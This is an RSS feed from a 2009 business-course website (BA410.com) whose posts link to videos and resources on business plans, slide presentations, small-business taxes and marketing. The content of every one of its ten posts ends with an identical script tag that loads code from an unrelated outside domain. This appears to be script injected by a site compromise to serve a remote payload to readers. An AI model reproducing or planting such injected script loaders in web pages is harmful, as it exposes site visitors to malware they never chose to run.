<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BA410.com &#187; On the Web</title>
	<atom:link href="http://ba410.com/category/on-the-web/feed/" rel="self" type="application/rss+xml" />
	<link>http://ba410.com</link>
	<description>Start a Business</description>
	<lastBuildDate>Thu, 30 Jul 2009 20:21:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>VIDEOS: Class 12 &#8212; Plans and Pitches</title>
		<link>http://ba410.com/business-planning-videos/</link>
		<comments>http://ba410.com/business-planning-videos/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 14:00:37 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 12: Plans and Pitches]]></category>
		<category><![CDATA[Classes]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[business plan]]></category>
		<category><![CDATA[Fundamentals]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=309</guid>
		<description><![CDATA[The Back to Fundamentals Series
This is from a webinar given in November 2008. The total is 50 minutes. It divides into four parts.

Part 1: Back to Fundamentals
Part 2: The Heart of the Plan
Part 3: Flesh and Bones of the Plan
Part 4: Dressing and Growing

Nancy Duarte On Slide Presentations
The book is Slide:ology, and this five-minute video [...]]]></description>
			<content:encoded><![CDATA[<p><strong>The Back to Fundamentals Series</strong></p>
<p>This is from a webinar given in November 2008. The total is 50 minutes. It divides into four parts.</p>
<ul>
<li>Part 1: <a href="http://www.bplans.com/videos/gew1/">Back to Fundamentals</a></li>
<li>Part 2: <a href="http://www.bplans.com/videos/gew2/">The Heart of the Plan</a></li>
<li>Part 3: <a href="http://www.bplans.com/videos/gew3/">Flesh and Bones</a> of the Plan</li>
<li>Part 4: <a href="http://www.bplans.com/videos/gew4/">Dressing and Growing</a></li>
</ul>
<p><strong>Nancy Duarte On Slide Presentations</strong><br />
The book is Slide:ology, and this five-minute video on Bnet is a great summary.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="432" height="362" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="FlashVars" value="playerMode=embedded&amp;allowFullScreen=1&amp;flavor=EmbeddedPlayerVersion&amp;showOptions=0&amp;skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&amp;autoPlay=false&amp;movieAspect=4.3&amp;embeddingAllowed=true&amp;clockColor=0x3b3b3b&amp;marqueeColor=0x70AF00&amp;chromeColor=0xCF0000&amp;paramsURI=http://www.bnet.com%2F2461-13724_23-241933.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" /><param name="flashvars" value="playerMode=embedded&amp;allowFullScreen=1&amp;flavor=EmbeddedPlayerVersion&amp;showOptions=0&amp;skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&amp;autoPlay=false&amp;movieAspect=4.3&amp;embeddingAllowed=true&amp;clockColor=0x3b3b3b&amp;marqueeColor=0x70AF00&amp;chromeColor=0xCF0000&amp;paramsURI=http://www.bnet.com%2F2461-13724_23-241933.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded" /><embed type="application/x-shockwave-flash" width="432" height="362" src="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" allowscriptaccess="always" wmode="transparent" flashvars="playerMode=embedded&amp;allowFullScreen=1&amp;flavor=EmbeddedPlayerVersion&amp;showOptions=0&amp;skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&amp;autoPlay=false&amp;movieAspect=4.3&amp;embeddingAllowed=true&amp;clockColor=0x3b3b3b&amp;marqueeColor=0x70AF00&amp;chromeColor=0xCF0000&amp;paramsURI=http://www.bnet.com%2F2461-13724_23-241933.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded"></embed></object></p>
<p>If you can&#8217;t get the video off of this site, <a href="http://www.bnet.com/2422-13724_23-241933.html">click here</a> for the source video on bnet.</p>
<p><strong>Tim Berry: Video Summary of Business Planning</strong></p>
<p>This interview is a couple of years old now, but I thought it was a pretty good summary of business planning as applied to real-world companies. It was done on the floor of a trade show of eBay vendors.</p>
<div style="border: 1px solid #000000; margin: 0px; padding: 4px 0px 0px; background: #d9d9d9 url(http://images.ientrymail.com/webpronews/video/embed-bg.gif) repeat-x scroll left top; width: 480px; height: 306px; text-align: center; font-family: 'Lucida Grande',Tahoma,Verdana,Times,serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="276" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="config=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fjwplayer%2Fconfig.xml&amp;file=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fplaylist.php%3Fmovie_name%3Debayberry07" /><param name="src" value="http://videos.webpronews.com/video/jwplayer/player.swf" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="276" src="http://videos.webpronews.com/video/jwplayer/player.swf" allowfullscreen="true" flashvars="config=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fjwplayer%2Fconfig.xml&amp;file=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fplaylist.php%3Fmovie_name%3Debayberry07"></embed></object><br />
<a style="color: #003366; text-decoration: none;" href="http://videos.webpronews.com/"><strong>More WebProNews Videos</strong></a></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/business-planning-videos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BLOGS: Class 12: Plans and Pitches</title>
		<link>http://ba410.com/seths-blog-nine-steps-to-powerpoint-magic/</link>
		<comments>http://ba410.com/seths-blog-nine-steps-to-powerpoint-magic/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 13:00:59 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 12: Plans and Pitches]]></category>
		<category><![CDATA[On the Web]]></category>

		<guid isPermaLink="false">http://ba410.timberry.com/seths-blog-nine-steps-to-powerpoint-magic/</guid>
		<description><![CDATA[Seth Godin: Nine steps to Powerpoint magic
This is a nice quick and easy reminder from Seth Godin about PowerPoint presentations:
Seth&#8217;s Blog: Nine steps to Powerpoint magic
]]></description>
			<content:encoded><![CDATA[<p><strong>Seth Godin: Nine steps to Powerpoint magic</strong></p>
<p>This is a nice quick and easy reminder from Seth Godin about PowerPoint presentations:</p>
<p><a href="http://sethgodin.typepad.com/seths_blog/2008/10/nine-steps-to-p.html">Seth&#8217;s Blog: Nine steps to Powerpoint magic</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/seths-blog-nine-steps-to-powerpoint-magic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tim Berry: Video Summary of Business Planning</title>
		<link>http://ba410.com/quick-summary-of-business-planning/</link>
		<comments>http://ba410.com/quick-summary-of-business-planning/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 10:00:10 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 12: Plans and Pitches]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[eBay]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=425</guid>
		<description><![CDATA[This interview is a couple of years old now, but I thought it was a pretty good summary of business planning as applied to real-world companies. It was done on the floor of a trade show of eBay vendors.

More WebProNews Videos

]]></description>
			<content:encoded><![CDATA[<p>This interview is a couple of years old now, but I thought it was a pretty good summary of business planning as applied to real-world companies. It was done on the floor of a trade show of eBay vendors.</p>
<div style="border: 1px solid #000000; margin: 0px; padding: 4px 0px 0px; background: #d9d9d9 url(http://images.ientrymail.com/webpronews/video/embed-bg.gif) repeat-x scroll left top; width: 480px; height: 306px; text-align: center; font-family: 'Lucida Grande',Tahoma,Verdana,Times,serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="276" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="config=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fjwplayer%2Fconfig.xml&amp;file=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fplaylist.php%3Fmovie_name%3Debayberry07" /><param name="src" value="http://videos.webpronews.com/video/jwplayer/player.swf" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="276" src="http://videos.webpronews.com/video/jwplayer/player.swf" allowfullscreen="true" flashvars="config=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fjwplayer%2Fconfig.xml&amp;file=http%3A%2F%2Fvideos.webpronews.com%2Fvideo%2Fplaylist.php%3Fmovie_name%3Debayberry07"></embed></object><br />
<a style="color: #003366; text-decoration: none;" href="http://videos.webpronews.com/"><strong>More WebProNews Videos</strong></a></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/quick-summary-of-business-planning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nancy Duarte On Slide Presentations</title>
		<link>http://ba410.com/nancy-duarte-on-slide-presentations/</link>
		<comments>http://ba410.com/nancy-duarte-on-slide-presentations/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 09:00:31 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 12: Plans and Pitches]]></category>
		<category><![CDATA[Classes]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[Nancy Duarte]]></category>
		<category><![CDATA[Slide:ology]]></category>

		<guid isPermaLink="false">http://ba410.timberry.com/?p=178</guid>
		<description><![CDATA[The book is Slide:ology, and this five-minute video on Bnet is a great summary.

If you can&#8217;t get the video off of this site, click here for the source video on bnet.
]]></description>
			<content:encoded><![CDATA[<p>The book is Slide:ology, and this five-minute video on Bnet is a great summary.</p>
<p><object type="application/x-shockwave-flash" data="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" width="432" height="362"><param name="FlashVars" value="playerMode=embedded&#038;allowFullScreen=1&#038;flavor=EmbeddedPlayerVersion&#038;showOptions=0&#038;skin=http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/skins/proteus-bnet.png&#038;autoPlay=false&#038;movieAspect=4.3&#038;embeddingAllowed=true&#038;clockColor=0x3b3b3b&#038;marqueeColor=0x70AF00&#038;chromeColor=0xCF0000&#038;paramsURI=http://www.bnet.com%2F2461-13724_23-241933.xml%3Fwidth%3D432%26height%3D362%26ptype%3D6475%26mode%3Dembedded" /><param name="movie" value="http://image.com.com/gamespot/images/cne_flash/production/media_player/proteus/one/proteus2.swf" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="always"></object></p>
<p>If you can&#8217;t get the video off of this site, <a href="http://www.bnet.com/2422-13724_23-241933.html">click here</a> for the source video on bnet.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/nancy-duarte-on-slide-presentations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ONLINE RESOURCES: Class 11: Cash and Taxes</title>
		<link>http://ba410.com/online-resources-class-11-cash-and-taxes/</link>
		<comments>http://ba410.com/online-resources-class-11-cash-and-taxes/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 14:00:18 +0000</pubDate>
		<dc:creator>teripas</dc:creator>
				<category><![CDATA[Class 11: Cash and Taxes]]></category>
		<category><![CDATA[On the Web]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=1515</guid>
		<description><![CDATA[Internal Revenue Service (IRS)
The IRS offers free publications to help you wade through all the tax laws and regulations for your business. Click on each link to view the document online or choose the option to download the document in a portable document format. These and other online resources are available at irs.gov

Tax Guide for [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Internal Revenue Service (IRS)</strong></p>
<p>The IRS offers free publications to help you wade through all the tax laws and regulations for your business. Click on each link to view the document online or choose the option to download the document in a portable document format. These and other online resources are available at <a title="Online Resources: Tax Information for Businesses (IRS.gov)" href="http://www.irs.gov/businesses/index.html?navmenu=menu1" target="_blank">irs.gov</a></p>
<ul>
<li><a title="Online Resources: Tax Guide for Small Business (IRS.gov)" href="http://search.irs.gov/web/query.html?col=allirs&amp;charset=utf-8&amp;qp=&amp;qs=-Wct%3A%22Internal+Revenue+Manual%22&amp;qc=&amp;qm=&amp;rf=&amp;oq=&amp;qt=334" target="_blank">Tax Guide for Small Business (Publication 334)</a></li>
<li><a title="Online Resources: Business Expenses (IRS.gov)" href="http://search.irs.gov/web/query.html?col=allirs&amp;charset=utf-8&amp;qp=&amp;qs=-Wct%3A%22Internal+Revenue+Manual%22&amp;qc=&amp;qm=0&amp;rf=0&amp;oq=&amp;qt=535&amp;search.x=0&amp;search.y=0" target="_blank">Business Expenses (Publication 535)</a></li>
<li><a title="Online Resources: Travel, Entertainment, Gift and Car Expenses (IRS.gov)" href="http://search.irs.gov/web/query.html?col=allirs&amp;charset=utf-8&amp;qp=&amp;qs=-Wct%3A%22Internal+Revenue+Manual%22&amp;qc=&amp;qm=0&amp;rf=0&amp;oq=&amp;qt=463&amp;search.x=0&amp;search.y=0" target="_blank">Travel, Entertainment, Gift and Car Expenses (Publication 463)</a></li>
<li><a title="Online Resources: Circular E, Employer's Tax Guide (IRS.gov)" href="http://search.irs.gov/web/query.html?col=allirs&amp;charset=utf-8&amp;qp=&amp;qs=-Wct%3A%22Internal+Revenue+Manual%22&amp;qc=&amp;qm=0&amp;rf=0&amp;oq=&amp;qt=15&amp;search.x=0&amp;search.y=0" target="_blank">Circular E, Employer&#8217;s Tax Guide (Publication 15)</a></li>
<li><a title="Online Resources: Employer's Supplemental Tax Guide (IRS.gov)" href="http://search.irs.gov/web/query.html?col=allirs&amp;charset=utf-8&amp;qp=&amp;qs=-Wct%3A%22Internal+Revenue+Manual%22&amp;qc=&amp;qm=0&amp;rf=0&amp;oq=&amp;qt=15-A&amp;search.x=0&amp;search.y=0" target="_blank">Employer&#8217;s Supplemental Tax Guide (Publication 15-A)</a></li>
</ul>
<p><strong>Locate an Accountant</strong></p>
<ul>
<li><a title="Online Resources: GoodAccountants.com" href="http://www.goodaccountants.com/" target="_blank">GoodAccountants.com</a> = registry and referral service of certified public accountants, public accountants and bookkeepers</li>
<li><a title="Online Resources: AccountantWorld.com" href="http://www.accountantworld.com/ " target="_blank">AccountantWorld.com</a> = free resources, web-based softare solutions, tools and services for accountants; includes a directory of accounting professionals</li>
<li><a title="Online Resources: 1800accountant.com" href="http://www.1800accountant.com/new/" target="_blank">1800accountant.com</a> = Free consultation for businesses with a local neighborhood accountant</li>
</ul>
<p><strong>Tax Preparation</strong></p>
<ul>
<li><a title="Online Resources: TurboTax.Intuit.com" href="http://turbotax.intuit.com/" target="_blank">TurboTax</a> =online tax preparation for individuals and businesses</li>
<li><a title="Online Resources: Online Tax Preparation (hrblock.com)" href="http://www.hrblock.com/" target="_blank">H&amp;R Block</a> =online tax preparation and tax guidance for individuals and businesses</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/online-resources-class-11-cash-and-taxes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ONLINE RESOURCES: Basic Numbers, Part 2</title>
		<link>http://ba410.com/online-resources-class-6-basic-business-numbers/</link>
		<comments>http://ba410.com/online-resources-class-6-basic-business-numbers/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 14:00:47 +0000</pubDate>
		<dc:creator>teripas</dc:creator>
				<category><![CDATA[Class 07: Part 2, Basic Numbers]]></category>
		<category><![CDATA[On the Web]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=834</guid>
		<description><![CDATA[The reading provides a lot of detail and background. In addition, here are some additional Online Resources that might help:

This three-minute piece on youtube.
The Forecast Your Sales chapter of the online book on business planning, www.hurdlebook.com.


]]></description>
			<content:encoded><![CDATA[<p>The reading provides a lot of detail and background. In addition, here are some additional Online Resources that might help:</p>
<ul>
<li>This <a href="http://www.youtube.com/watch?v=E78j9AsE7lk&amp;feature=player_embedded">three-minute piece on youtube</a>.</li>
<li>The Forecast Your Sales chapter of the online book on business planning, <a href="http://www.hurdlebook.com">www.hurdlebook.com</a>.</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/online-resources-class-6-basic-business-numbers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PR vs. Advertising vs. Social Media vs. Branding</title>
		<link>http://ba410.com/pr-vs-advertising-vs-social-media-vs-branding/</link>
		<comments>http://ba410.com/pr-vs-advertising-vs-social-media-vs-branding/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 12:00:46 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 05: Marketing Strategy]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://ba410.com/pr-vs-advertising-vs-social-media-vs-branding/</guid>
		<description><![CDATA[Marketing, advertising, social media, branding &#8230; it&#8217;s hard to draw the lines. What&#8217;s what? I like this post on Conversation Agent (although not its title) because it draws some useful distinctions. Taxonomy, the science of naming and classifying things, isn&#8217;t that important. But it helps to use the right words and phrases, so that other [...]]]></description>
			<content:encoded><![CDATA[<p>Marketing, advertising, social media, branding &#8230; it&#8217;s hard to draw the lines. What&#8217;s what? I like <a title="this post" href="http://www.conversationagent.com/2009/03/micro-interactions-in-pr.html">this post</a> on Conversation Agent (although not its title) because it draws some useful distinctions. Taxonomy, the science of naming and classifying things, isn&#8217;t that important. But it helps to use the right words and phrases, so that other people know what you mean. </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/pr-vs-advertising-vs-social-media-vs-branding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great Marketing Lists and Resources</title>
		<link>http://ba410.com/spotlight-ideas-top-250-blog-posts-advertising-marketing-media-pr/</link>
		<comments>http://ba410.com/spotlight-ideas-top-250-blog-posts-advertising-marketing-media-pr/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 11:00:15 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 05: Marketing Strategy]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[blogs]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[marketing blogs]]></category>

		<guid isPermaLink="false">http://ba410.timberry.com/2008/spotlight-ideas-top-250-blog-posts-advertising-marketing-media-pr/</guid>
		<description><![CDATA[What a resource: check out this list of 250 top blog posts on advertising, marketing, media, and PR. I got the tip from Seth Godin&#8217;s blog post of last week, which started with that list, and then highlighted his top 20 favorites from his blog.
Add Duct Tape Marketing to that list, and you have the [...]]]></description>
			<content:encoded><![CDATA[<p>What a resource: check out this <a href="http://www.spotlightideas.co.uk/?p=677">list of 250 top blog posts on advertising, marketing, media, and PR</a>. I got the tip from Seth Godin&#8217;s blog post of last week, which started with that list, and then highlighted his <a href="http://sethgodin.typepad.com/seths_blog/2008/09/best-of-the-blo.html" target="_blank">top 20 favorites from his blog</a>.</p>
<p>Add <a href="http://ducttapemarketing.com" target="_blank">Duct Tape Marketing</a> to that list, and you have the ultimate course in 21st century marketing.</p>
<p>I had lunch yesterday with one of my favorite people in the textbook publishing industry. Seeing this list today, again, and thinking about that lunch and the world of textbooks reminds me, it has to be hard to sell a marketing textbook these days, when the really good stuff is coming up every day in the blogs.</p>
<p>And it has to be hard, from the professors&#8217; point of view, to select and recommend marketing texts costing the students $100 or more, when the real world is happening so much faster on the web.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/spotlight-ideas-top-250-blog-posts-advertising-marketing-media-pr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VIDEOS: Class 1 &#8211; Introduction</title>
		<link>http://ba410.com/guy-kawasakis-art-of-the-start-video/</link>
		<comments>http://ba410.com/guy-kawasakis-art-of-the-start-video/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 14:00:28 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 01: Introduction]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[Optional]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=345</guid>
		<description><![CDATA[Guy Kawasaki &#8211;  The Art of the Start

About a year after his book, The Art of the Start, was published (and after a lot of previous engagements speaking on it), Guy Kawasaki chose this video as the one to post on the web. It&#8217;s a very good live and in-person presentation of most of the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Guy Kawasaki &#8211;  The Art of the Start<br />
</strong></p>
<p>About a year after his book, <em>The Art of the Start</em>, was published (and after a lot of previous engagements speaking on it), Guy Kawasaki chose <a href="http://blog.guykawasaki.com/2006/06/the_art_of_the_.html">this video</a> as the one to post on the web. It&#8217;s a very good live and in-person presentation of most of the same content as in the book.</p>
<p><strong>Tim Berry &#8212; Three Types of Startups</strong></p>
<p>This is a five-minute video interview with Tim Berry, business-planning expert, talking about the <a href="http://www.sbtv.com/FeaturedAdvisors/TimBerry/?segid=1731">3 types of startups</a> on the SBTV site.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/guy-kawasakis-art-of-the-start-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basics of Business Structure</title>
		<link>http://ba410.com/basics-of-business-structure-2/</link>
		<comments>http://ba410.com/basics-of-business-structure-2/#comments</comments>
		<pubDate>Tue, 13 Jan 2009 23:16:12 +0000</pubDate>
		<dc:creator>Tim Berry</dc:creator>
				<category><![CDATA[Class 03: Business Basics]]></category>
		<category><![CDATA[On the Web]]></category>
		<category><![CDATA[Optional]]></category>
		<category><![CDATA[corporation]]></category>
		<category><![CDATA[entrepreneur.com]]></category>
		<category><![CDATA[LLC]]></category>

		<guid isPermaLink="false">http://ba410.com/?p=290</guid>
		<description><![CDATA[Nice summary, an excerpt of a book on business structure.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.entrepreneur.com/startingabusiness/startupbasics/article200516.html">Nice summary</a>, an excerpt of a book on business structure.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ba410.com/basics-of-business-structure-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
